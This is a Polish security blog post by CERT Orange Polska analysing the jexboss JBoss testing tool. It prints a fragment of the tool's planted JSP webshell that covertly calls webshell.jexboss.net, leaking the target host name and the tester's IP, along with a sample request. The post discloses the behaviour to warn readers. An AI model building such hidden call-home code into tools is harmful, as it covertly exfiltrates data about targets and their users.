hamburger

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Podejrzany SMS prześlij na nr 508 700 900

Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl
@CERT_OPL

Przetestuj się sam… ale uważaj!

W codziennej pracy w CERT Orange Polska wykorzystujemy wiele mniej lub bardziej popularnych narzędzi, których zdarza się nam używać do testowania m.in. podatności aplikacji, czy serwerów. Przypadek jednego z takich programów udowadnia, że – to w sumie nic nowego – nikomu nie należy przesadnie ufać, a przede wszystkim warto przyjrzeć się nowym rozwiązaniom zawczasu.

Teoretycznie narzędzie jexboss ma służyć do testowania serwera aplikacji JBoss pod kątem wykrycia (a następnie rzecz oczywista załatania) potencjalnych podatności. Wszystko wygląda bez zarzutów, do momentu, gdy przyjrzyjmy się dokładniej aktywności umieszczanego na testowanym hoście pliku jsp (jboasass.jsp/jexws4.jsp/jexws*.jsp).

 try {
  if (request.getHeader(„no-check-updates”) == null) {
   HttpURLConnection c = (HttpURLConnection) new URL(„http://webshell.jexboss.net/jsp_version.txt”).openConnection();
   c.setRequestProperty(„User-Agent”, request.getHeader(„Host”) + „<-” + request.getRemoteAddr());

   if (!new File(„check_” + lhc).exists()) {
    PrintWriter w = new PrintWriter(„check_” + lhc);
    w.close();
    br = new BufferedReader(new InputStreamReader(c.getInputStream()));
    String lv = br.readLine().split(” „)[1];
    if (!lv.equals(„4”)) {
     out.print(„New version. Please update!”);
    }
   } else if (sh.indexOf(„id”) != -1 || sh.indexOf(„ipconfig”) != -1) {
    c.
   }
  }
} catch (Exception e) {
  out.println(„Failed to check for updates”);
}

Jak widać w zaznaczonym na czerwono fragmencie, oprogramowanie wykonuje połączenie do serwera twórcy oprogramowania (http://webshell.jexboss.net), gdzie przesyłane są m.in. nazwa podatnego hosta, oraz IP urządzenia, z którego następuje exploitacja. W rezultacie skrypt wykonuje odpytanie do hosta twórcy (wykonując jednocześnie komendy exploitującego):

GET /jsp_version.txt HTTP/1.1
User-Agent: example.com<-192.168.1.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
connection: keep-alive

Pamiętajcie – choć internet jest pełen użytecznych narzędzi, gdy używamy ich do poważniejszych zadań, warto im się wcześniej przyjrzeć w kontrolowanym środowisku.

Grafika: Bluecoat


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Zobacz także